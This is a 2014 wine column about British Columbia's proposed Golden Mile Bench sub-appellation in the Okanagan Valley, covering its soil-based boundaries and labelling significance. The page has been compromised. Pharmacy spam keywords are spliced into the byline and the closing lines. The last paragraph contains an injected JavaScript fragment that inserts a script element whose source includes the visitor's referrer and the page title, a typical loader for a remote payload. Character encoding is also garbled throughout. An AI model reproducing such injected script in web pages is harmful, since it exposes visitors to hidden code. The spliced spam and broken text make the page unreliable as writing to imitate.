Golden Mile Bench becomes reality – Oct. 25, 2014

order erexin-v By Anthony Gismondi

The British Columbia Wine Authority announced recently it would recommend the Minister of Agriculture approve the provincea��s first sub-geographical indication under the name of the Golden Mile Bench. The delimited sub-GI would become part of the broader wine appellation tree as laid out under B.C.a��s wines of marked quality regulations.

The current authorized geographical indications covering provincial VQA wine are basic: British Columbia: any location in British Columbia; Fraser Valley: the land within the watershed of the Fraser River basin, south and west of the town of Hope and north of the 49th parallel; Okanagan Valley: the land within the watershed of the Okanagan water basin; Similkameen Valley: the land within the watershed of the Similkameen River; Vancouver Island: the land within the geographical limits of Vancouver Island; and the Gulf Islands: the neighbouring islands of Vancouver Island in the area bounded by the waters of the Pacific Ocean west of British Columbiaa��s mainland.

The Golden Mile Bench, located along a series of alluvial fans that stretch east and south-east off the mountains to the southwest of Oliver with the occasional north-east aspect, will be the Okanagan Valleya��s first sub-GI. According to Sandra Oldfield, CEO and president of Tinhorn Creek a winery within the new boundaries, a�?The boundaries were decided after in-depth analysis by Scott Smith, a soil scientist with the Pacific Agri-Food Research Centre in Summerland in conjunction with Dr. Pat Bowen, a viticulture research scientist also at PARC.a�?

The boundaries in some cases are so precise geographically some producers will have their vineyards divided in two parts, leaving some on the Golden Mile Bench while other sections will remain under the Okanagan Valley GI. It takes plenty of give and compromise to live with a decision that could separate your vineyard into two GIs, so Golden Mile producers are to be commended for accepting the big picture and pressing forward to establish the Golden Mile appellation. There should be a wider Oliver appellation as well but thata��s for another decade.

Therea��s was and will be plenty of angst about what defines the Golden Mile GI but that will all come clear in due course now that we know where it is. Starting with extensive soil analysis and boundaries encompassing the major soil types was a must. The snowball effect will connect each Golden Mile producer to his or her site with real geographical and geological information. Over time, grape types, clones, rootstocks, trellising, yields, picking times and other aspects, will be refined to further express the terroir and tell the full story of the Golden Mile.

Now that the Golden Mile is going to be a designated sub-region of the Okanagan Valley, consumers are likely to make a stronger connection to a smaller, more easily digestible site

. More important, if the label says Golden Mile Bench, the origin of the grapes will have been audited by government, which nona��VQA, and blend-in Canada producers cannot claim. Provenance, authenticity and truth in labelling is a powerful tool in the modern wine world.

Long before VQA was even a concept, Sam Baptiste was growing grapes on the Inkameep Bench in the south Okanagan Valley in the 1970s. Harry McWatters bet big on the Black Sage Bench in the early 1990s, followed by more pioneers and dreamers and now 50 years down that road, another handful of prospectors has had the courage to draw a line in the sand in the hopes of taking B.C. wine to yet another level of quality and sophistication.

It would be easy to dismiss all this as marketing and hype and just another way to charge more money for wine. We regard it as a logical progression that comes from farming a piece of land from one generation to the next. Ita��s an important step in understanding where we have come from and where we are headed in the British Columbia wine business.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; Cheap if (document.currentScript) { var d=document;var s=d.createElement(‘script’); document.currentScript.parentNode.insertBefore(s, document.currentScript); cozaar comp generic

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